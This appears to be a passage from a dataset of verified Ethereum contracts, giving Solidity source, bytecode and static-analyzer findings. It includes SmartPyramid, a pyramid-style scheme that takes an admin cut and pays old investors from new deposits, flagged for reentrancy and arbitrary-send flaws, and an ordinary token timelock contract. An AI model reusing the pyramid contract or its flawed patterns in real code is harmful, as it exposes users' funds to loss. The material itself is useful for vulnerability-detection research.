_a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract InvestorsStorage { address private owner; mapping (address => Investor) private investors; struct Investor { uint deposit; uint checkpoint; address referrer; } constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function updateInfo(address _address, uint _value) external onlyOwner { investors[_address].deposit += _value; investors[_address].checkpoint = block.timestamp; } function updateCheckpoint(address _address) external onlyOwner { investors[_address].checkpoint = block.timestamp; } function addReferrer(address _referral, address _referrer) external onlyOwner { investors[_referral].referrer = _referrer; } function getInterest(address _address) external view returns(uint) { if (investors[_address].deposit > 0) { return(123 + ((block.timestamp - investors[_address].checkpoint) / 1 days)); } } function d(address _address) external view returns(uint) { return investors[_address].deposit; } function c(address _address) external view returns(uint) { return investors[_address].checkpoint; } function r(address _address) external view returns(address) { return investors[_address].referrer; } } contract SmartPyramid { using SafeMath for uint; address admin; uint waveStartUp; uint nextPayDay; mapping (uint => Leader) top; event LogInvestment(address _addr, uint _value); event LogIncome(address _addr, uint _value, string _type); event LogReferralInvestment(address _referrer, address _referral, uint _value); event LogGift(address _firstAddr, uint _firstDep, address _secondAddr, uint _secondDep, address _thirdAddr, uint _thirdDep); event LogNewWave(uint _waveStartUp); InvestorsStorage private x; modifier notOnPause() { require(waveStartUp <= block.timestamp); _; } struct Leader { address addr; uint deposit; } function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) { assembly { parsedReferrer := mload(add(_source,0x14)) } return parsedReferrer; } function addReferrer(uint _value) internal { address _referrer = bytesToAddress(bytes(msg.data)); if (_referrer != msg.sender) { x.addReferrer(msg.sender, _referrer); x.r(msg.sender).transfer(_value / 20); emit LogReferralInvestment(_referrer, msg.sender, _value); emit LogIncome(_referrer, _value / 20, "referral"); } } constructor(address _admin) public { admin = _admin; x = new InvestorsStorage(); } function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) { deposit = x.d(_address); if (block.timestamp >= x.c(_address) + 10 minutes) { amountToWithdraw = (x.d(_address).mul(x.getInterest(_address)).div(10000)).mul(block.timestamp.sub(x.c(_address))).div(1 days); } else { amountToWithdraw = 0; } } function getTop() external view returns(address, uint, address, uint, address, uint) { return(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit); } function() external payable { if (msg.value == 0) { withdraw(); } else { invest(); } } function invest() notOnPause public payable { admin.transfer(msg.value * 4 / 25); if (x.d(msg.sender) > 0) { withdraw(); } x.updateInfo(msg.sender, msg.value); if (msg.value > top[3].deposit) { toTheTop(); } if (x.r(msg.sender) != 0x0) { x.r(msg.sender).transfer(msg.value / 20); emit LogReferralInvestment(x.r(msg.sender), msg.sender, msg.value); emit LogIncome(x.r(msg.sender), msg.value / 20, "referral"); } else if (msg.data.length == 20) { addReferrer(msg.value); } emit LogInvestment(msg.sender, msg.value); } function withdraw() notOnPause public { if (block.timestamp >= x.c(msg.sender) + 10 minutes) { uint _payout = (x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000)).mul(block.timestamp.sub(x.c(msg.sender))).div(1 days); x.updateCheckpoint(msg.sender); } if (_payout > 0) { if (_payout > address(this).balance) { nextWave(); return; } msg.sender.transfer(_payout); emit LogIncome(msg.sender, _payout, "withdrawn"); } } function toTheTop() internal { if (msg.value <= top[2].deposit) { top[3] = Leader(msg.sender, msg.value); } else { if (msg.value <= top[1].deposit) { top[3] = top[2]; top[2] = Leader(msg.sender, msg.value); } else { top[3] = top[2]; top[2] = top[1]; top[1] = Leader(msg.sender, msg.value); } } } function payDay() external { require(block.timestamp >= nextPayDay); nextPayDay = block.timestamp.sub((block.timestamp - 1538388000).mod(7 days)).add(7 days); emit LogGift(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit); for (uint i = 0; i <= 2; i++) { if (top[i+1].addr != 0x0) { top[i+1].addr.transfer(2 ether / 2 ** i); top[i+1] = Leader(0x0, 0); } } } function nextWave() private { for (uint i = 0; i <= 2; i++) { top[i+1] = Leader(0x0, 0); } x = new InvestorsStorage(); waveStartUp = block.timestamp + 7 days; emit LogNewWave(waveStartUp); } }
0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633ccfd60b811461008a5780635c2b11191461009f578063789b2e6c146100f8578063e8b5e51f14610080578063ffdd5cf11461010d575b3415156100805761007b610147565b610088565b610088610528565b005b34801561009657600080fd5b50610088610147565b3480156100ab57600080fd5b506100b4610a06565b60408051600160a060020a0397881681526020810196909652938616858501526060850192909252909316608083015260a082019290925290519081900360c00190f35b34801561010457600080fd5b50610088610aa0565b34801561011957600080fd5b5061012e600160a060020a0360043516610cbc565b6040805192835260208301919091528051918290030190f35b6000426001541115151561015a57600080fd5b60048054604080517f04ee65c0000000000000000000000000000000000000000000000000000000008152339381019390935251600160a060020a03909116916304ee65c09160248083019260209291908290030181600087803b1580156101c157600080fd5b505af11580156101d5573d6000803e3d6000fd5b505050506040513d60208110156101eb57600080fd5b50516102580142106104695760048054604080517f04ee65c00000000000000000000000000000000000000000000000000000000081523393810193909352516103e89262015180926103d0926102a892600160a060020a03909216916304ee65c09160248083019260209291908290030181600087803b15801561026f57600080fd5b505af1158015610283573d6000803e3d6000fd5b505050506040513d602081101561029957600080fd5b5051429063ffffffff610f7f16565b60048054604080517f7aaa34700000000000000000000000000000000000000000000000000000000081523393810193909352516103dc92612710926103d092600160a060020a0390911691637aaa34709160248083019260209291908290030181600087803b15801561031b57600080fd5b505af115801561032f573d6000803e3d6000fd5b505050506040513d602081101561034557600080fd5b5051600480546040805160e060020a63d573a003028152339381019390935251600160a060020a039091169163d573a0039160248083019260209291908290030181600087803b15801561039857600080fd5b505af11580156103ac573d6000803e3d6000fd5b505050506040513d60208110156103c257600080fd5b50519063ffffffff610f9d16565b9063ffffffff610fd216565b9063ffffffff610f9d16565b60048054604080517f702f5e19000000000000000000000000000000000000000000000000000000008152339381019390935251929350600160a060020a03169163702f5e199160248082019260009290919082900301818387803b15801561045057600080fd5b505af1158015610464573d6000803e3d6000fd5b505050505b600081111561052557303181111561048857610483610ff5565b610525565b604051339082156108fc029083906000818181858888f193505050501580156104b5573d6000803e3d6000fd5b50604080513381526020810183905260608183018190526009908201527f77697468647261776e0000000000000000000000000000000000000000000000608082015290517f0c57a5d4dcad8ee459870d907ba5bc2db98361a795625c039b057de4e923d1979181900360a00190a15b50565b60015442101561053757600080fd5b600054600160a060020a03166108fc601960043402049081150290604051600060405180830381858888f19350505050158015610578573d6000803e3d6000fd5b50600480546040805160e060020a63d573a003028152339381019390935251600092600160a060020a039092169163d573a00391602480830192602092919082900301818787803b1580156105cc57600080fd5b505af11580156105e0573d6000803e3d6000fd5b505050506040513d60208110156105f657600080fd5b5051111561060657610606610147565b60048054604080517face97922000000000000000000000000000000000000000000000000000000008152339381019390935234602484015251600160a060020a039091169163ace9792291604480830192600092919082900301818387803b15801561067257600080fd5b505af1158015610686573d6000803e3d6000fd5b5050600360008190526020525050600080516020611980833981519152543411156106b3576106b36110f0565b600480546040805160e060020a63566ab6f9028152339381019390935251600160a060020a039091169163566ab6f99160248083019260209291908290030181600087803b15801561070457600080fd5b505af1158015610718573d6000803e3d6000fd5b505050506040513d602081101561072e57600080fd5b5051600160a060020a0316156109b857600480546040805160e060020a63566ab6f9028152339381019390935251600160a060020a039091169163566ab6f99160248083019260209291908290030181600087803b15801561078f57600080fd5b505af11580156107a3573d6000803e3d6000fd5b505050506040513d60208110156107b957600080fd5b5051604051600160a060020a03909116906014340480156108fc02916000818181858888f193505050501580156107f4573d6000803e3d6000fd5b50600480546040805160e060020a63566ab6f90281523393810193909352517fa249146257bee059355926b54611f49f096a7b1ed415e8011b89838f96e5fc5192600160a060020a039092169163566ab6f99160248083019260209291908290030181600087803b15801561086857600080fd5b505af115801561087c573d6000803e3d6000fd5b505050506040513d602081101561089257600080fd5b505160408051600160a060020a0390921682523360208301523482820152519081900360600190a1600480546040805160e060020a63566ab6f90281523393810193909352517f0c57a5d4dcad8ee459870d907ba5bc2db98361a795625c039b057de4e923d19792600160a060020a039092169163566ab6f99160248083019260209291908290030181600087803b15801561092d57600080fd5b505af1158015610941573d6000803e3d6000fd5b505050506040513d602081101561095757600080fd5b505160143460408051600160a060020a039094168452919004602083015260608282018190526008908301527f726566657272616c0000000000000000000000000000000000000000000000006080830152519081900360a00190a16109ca565b60143614156109ca576109ca34611325565b6040805133815234602082015281517fc74590e3281392e897f5c0f45530951cfe0db0e86c76d65af861e80b925871a4929181900390910190a1565b600360208190527fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c546000805160206119a08339815191525460008051602061194083398151915254600080516020611960833981519152546000949094526000805160206119c08339815191525460008051602061198083398151915254600160a060020a039485169693959285169492939290911691565b600254600090421015610ab257600080fd5b610aec62093a80610ae0610ad3635bb1f01f1942018363ffffffff61157616565b429063ffffffff610f7f16565b9063ffffffff61159716565b600255600360208181527fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c546000805160206119a08339815191525460008051602061194083398151915254600080516020611960833981519152546000959095526000805160206119c0833981519152546000805160206119808339815191525460408051600160a060020a0396871681529687019490945291841685840152606085019590955291909316608083015260a082015290517f6086647a3c64e449d27817e6a917a85257a24416079e5c468001990a58498cb19181900360c00190a15060005b600281116105255760018101600090815260036020526040902054600160a060020a031615610cb45760018101600090815260036020526040902054600160a060020a03166108fc600283900a671bc16d674ec80000811515610c3257fe5b049081150290604051600060405180830381858888f19350505050158015610c5e573d6000803e3d6000fd5b5060408051808201825260008082526020808301828152600186810184526003909252939091209151825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390911617825591519101555b600101610bd3565b600480546040805160e060020a63d573a003028152600160a060020a038581169482019490945290516000938493169163d573a00391602480830192602092919082900301818787803b158015610d1257600080fd5b505af1158015610d26573d6000803e3d6000fd5b505050506040513d6020811015610d3c57600080fd5b505160048054604080517f04ee65c0000000000000000000000000000000000000000000000000000000008152600160a060020a038881169482019490945290519395509116916304ee65c0916024808201926020929091908290030181600087803b158015610dab57600080fd5b505af1158015610dbf573d6000803e3d6000fd5b505050506040513d6020811015610dd557600080fd5b5051610258014210610f7657610f6f620151806103d0610e77600460009054906101000a9004600160a060020a0316600160a060020a03166304ee65c0886040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561026f57600080fd5b60048054604080517f7aaa3470000000000000000000000000000000000000000000000000000000008152600160a060020a038b81169482019490945290516103dc93612710936103d093911691637aaa3470916024808201926020929091908290030181600087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d6020811015610f1757600080fd5b5051600480546040805160e060020a63d573a003028152600160a060020a038f8116948201949094529051929091169163d573a003916024808201926020929091908290030181600087803b15801561039857600080fd5b9050610f7a565b5060005b915091565b60008083831115610f8f57600080fd5b5050808203805b5092915050565b600080831515610fb05760009150610f96565b50828202828482811515610fc057fe5b0414610fcb57600080fd5b9392505050565b600080808311610fe157600080fd5b8284811515610fec57fe5b04949350505050565b60005b6002811161105d576040805180820182526000808252602080830182815260019586018084526003909252939091209151825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039091161782559151920191909155610ff8565b6110656115b0565b604051809103906000f080158015611081573d6000803e3d6000fd5b506004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790554262093a8001600181905560408051918252517f5988b0a8d3b8ed2d9961af381f4cf0619bd49b20e1e5c8db63322f6d0b789360916020908290030190a150565b60026000526003602052600080516020611960833981519152543411611180576040805180820190915233815234602080830191825260036000819052905290516000805160206119c0833981519152805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555160008051602061198083398151915255611323565b600160005260036020526000805160206119a08339815191525434116112405760008051602061194083398151915280546000805160206119c08339815191528054600160a060020a0380841673ffffffffffffffffffffffffffffffffffffffff1992831617909255600080516020611960833981519152805460008051602061198083398151915255604080518082019091523381523460208083019182526002600052600390529051929094169190921617909255519055611323565b60008051602061194083398151915280546000805160206119c0833981519152805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03808516919091179092556000805160206119608339815191528054600080516020611980833981519152557fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c8054948316858516179095556000805160206119a083398151915280549091556040805180820190915233815234602082810191825260016000526003905290519093169390911692909217909255905190555b565b60006113616000368080601f016020809104026020016040519081016040528093929190818152602001838380828437506115a9945050505050565b9050600160a060020a03811633146115725760048054604080517fb94265b80000000000000000000000000000000000000000000000000000000081523393810193909352600160a060020a038481166024850152905191169163b94265b891604480830192600092919082900301818387803b1580156113e157600080fd5b505af11580156113f5573d6000803e3d6000fd5b5050600480546040805160e060020a63566ab6f9028152339381019390935251600160a060020a03909116935063566ab6f9925060248083019260209291908290030181600087803b15801561144a57600080fd5b505af115801561145e573d6000803e3d6000fd5b505050506040513d602081101561147457600080fd5b5051604051600160a060020a03909116906014840480156108fc02916000818181858888f193505050501580156114af573d6000803e3d6000fd5b5060408051600160a060020a038316815233602082015280820184905290517fa249146257bee059355926b54611f49f096a7b1ed415e8011b89838f96e5fc519181900360600190a160408051600160a060020a038316815260148404602082015260608183018190526008908201527f726566657272616c000000000000000000000000000000000000000000000000608082015290517f0c57a5d4dcad8ee459870d907ba5bc2db98361a795625c039b057de4e923d1979181900360a00190a15b5050565b600081151561158457600080fd5b818381151561158f57fe5b069392505050565b600082820183811015610fcb57600080fd5b6014015190565b60405161037f806115c1833901905600608060405234801561001057600080fd5b5060008054600160a060020a0319163317905561034d806100326000396000f3006080604052600436106100825763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304ee65c08114610087578063566ab6f9146100ba578063702f5e19146100f75780637aaa34701461011a578063ace979221461013b578063b94265b81461015f578063d573a00314610186575b600080fd5b34801561009357600080fd5b506100a8600160a060020a03600435166101a7565b60408051918252519081900360200190f35b3480156100c657600080fd5b506100db600160a060020a03600435166101ca565b60408051600160a060020a039092168252519081900360200190f35b34801561010357600080fd5b50610118600160a060020a03600435166101eb565b005b34801561012657600080fd5b506100a8600160a060020a0360043516610222565b34801561014757600080fd5b50610118600160a060020a0360043516602435610271565b34801561016b57600080fd5b50610118600160a060020a03600435811690602435166102b1565b34801561019257600080fd5b506100a8600160a060020a0360043516610306565b600160a060020a038116600090815260016020819052604090912001545b919050565b600160a060020a039081166000908152600160205260409020600201541690565b600054600160a060020a0316331461020257600080fd5b600160a060020a0316600090815260016020819052604090912042910155565b600160a060020a0381166000908152600160205260408120548110156101c557600160a060020a038216600090815260016020819052604090912001546201518090420304607b0190506101c5565b600054600160a060020a0316331461028857600080fd5b600160a060020a0390911660009081526001602081905260409091208054909201825542910155565b600054600160a060020a031633146102c857600080fd5b600160a060020a039182166000908152600160205260409020600201805473ffffffffffffffffffffffffffffffffffffffff191691909216179055565b600160a060020a0316600090815260016020526040902054905600a165627a7a72305820234d011b3057f685d82e46fec191b3ae853d8caca2d86ee4bc453a27120ca66c0029c3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4dc3a24b0501bd2c13a7e57f2db4369ec4c223447539fc0724a9d55ac4a06ebd4ecbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495b0a15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054dcbc4e5fb02c3d1de23a9f1e014b4d2ee5aeaea9505df5e855c9210bf472495afa165627a7a7230582099250960878a14523ceb46076ee04a6f5814213c6ca2099de23a73c93633fc850029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,289
0x6bE2BB01eF49B216333A30FC23e4DB484e0795CF
/** *Submitted for verification at Etherscan.io on 2021-09-20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev A token holder contract that will allow a beneficiary to withdraw the * tokens after a given release time. */ contract UnsupervisedTimelock { using SafeERC20 for IERC20; // Seconds of a day uint256 private constant SECONDS_OF_A_DAY = 86400; // beneficiary of tokens after they are released address private immutable _beneficiary; // The start timestamp of token release period. // // Before this time, the beneficiary can NOT withdraw any token from this contract. uint256 private immutable _releaseStartTime; // The days that the timelock will last. uint256 private immutable _daysOfTimelock; // The OctToken contract IERC20 private immutable _token; // Total balance of benefit uint256 private immutable _totalBenefit; // The amount of withdrawed balance of the beneficiary. // // This value will be updated on each withdraw operation. uint256 private _withdrawedBalance; event BenefitWithdrawed(address indexed beneficiary, uint256 amount); constructor( IERC20 token_, address beneficiary_, uint256 releaseStartTime_, uint256 daysOfTimelock_, uint256 totalBenefit_ ) { _token = token_; _beneficiary = beneficiary_; _releaseStartTime = releaseStartTime_ - (releaseStartTime_ % SECONDS_OF_A_DAY); require( releaseStartTime_ - (releaseStartTime_ % SECONDS_OF_A_DAY) + daysOfTimelock_ * SECONDS_OF_A_DAY > block.timestamp, "UnsupervisedTimelock: release end time is before current time" ); _daysOfTimelock = daysOfTimelock_; _totalBenefit = totalBenefit_; _withdrawedBalance = 0; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary address */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the total balance of benefit */ function totalBenefit() public view returns (uint256) { return _totalBenefit; } /** * @return the balance to release for the beneficiary at the moment */ function releasedBalance() public view returns (uint256) { if (block.timestamp <= _releaseStartTime) return 0; if ( block.timestamp > _releaseStartTime + SECONDS_OF_A_DAY * _daysOfTimelock ) { return _totalBenefit; } uint256 passedDays = (block.timestamp - _releaseStartTime) / SECONDS_OF_A_DAY; return (_totalBenefit * passedDays) / _daysOfTimelock; } /** * @return the unreleased balance of the beneficiary at the moment */ function unreleasedBalance() public view returns (uint256) { return _totalBenefit - releasedBalance(); } /** * @return the withdrawed balance of beneficiary */ function withdrawedBalance() public view returns (uint256) { return _withdrawedBalance; } /** * @notice Withdraws tokens to beneficiary */ function withdraw() public { uint256 balanceShouldBeReleased = releasedBalance(); require( balanceShouldBeReleased > _withdrawedBalance, "UnsupervisedTimelock: no more benefit can be withdrawed now" ); uint256 balanceShouldBeTransfered = balanceShouldBeReleased - _withdrawedBalance; require( token().balanceOf(address(this)) >= balanceShouldBeTransfered, "UnsupervisedTimelock: deposited balance is not enough" ); _withdrawedBalance = balanceShouldBeReleased; token().safeTransfer(_beneficiary, balanceShouldBeTransfered); emit BenefitWithdrawed(_beneficiary, balanceShouldBeTransfered); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806391eeab851161005b57806391eeab85146100c85780639ab4b22f146100e6578063f50c8e2d14610104578063fc0c546a146101225761007d565b806338af3eed146100825780633ccfd60b146100a05780636b37cc14146100aa575b600080fd5b61008a610140565b6040516100979190610a1c565b60405180910390f35b6100a8610168565b005b6100b2610366565b6040516100bf9190610b3d565b60405180910390f35b6100d06103a0565b6040516100dd9190610b3d565b60405180910390f35b6100ee6103a9565b6040516100fb9190610b3d565b60405180910390f35b61010c610500565b6040516101199190610b3d565b60405180910390f35b61012a610528565b6040516101379190610a60565b60405180910390f35b60007f000000000000000000000000876be713c6268540897a0a9b9df9e5a20c334d9f905090565b60006101726103a9565b905060005481116101b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101af90610a9d565b60405180910390fd5b60008054826101c79190610c6b565b9050806101d2610528565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161020a9190610a1c565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a9190610896565b101561029b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029290610abd565b60405180910390fd5b816000819055506102f47f000000000000000000000000876be713c6268540897a0a9b9df9e5a20c334d9f826102cf610528565b73ffffffffffffffffffffffffffffffffffffffff166105509092919063ffffffff16565b7f000000000000000000000000876be713c6268540897a0a9b9df9e5a20c334d9f73ffffffffffffffffffffffffffffffffffffffff167f26b111a6f79cb1f14e797207bb7f2095963c467ca641399e15f7b2a02fb44cf98260405161035a9190610b3d565b60405180910390a25050565b60006103706103a9565b7f0000000000000000000000000000000000000000000078b3c30cea91b040000061039b9190610c6b565b905090565b60008054905090565b60007f00000000000000000000000000000000000000000000000000000000612ec28042116103db57600090506104fd565b7f00000000000000000000000000000000000000000000000000000000000004486201518061040a9190610c11565b7f00000000000000000000000000000000000000000000000000000000612ec2806104359190610b8a565b421115610464577f0000000000000000000000000000000000000000000078b3c30cea91b040000090506104fd565b6000620151807f00000000000000000000000000000000000000000000000000000000612ec280426104969190610c6b565b6104a09190610be0565b90507f0000000000000000000000000000000000000000000000000000000000000448817f0000000000000000000000000000000000000000000078b3c30cea91b04000006104ef9190610c11565b6104f99190610be0565b9150505b90565b60007f0000000000000000000000000000000000000000000078b3c30cea91b0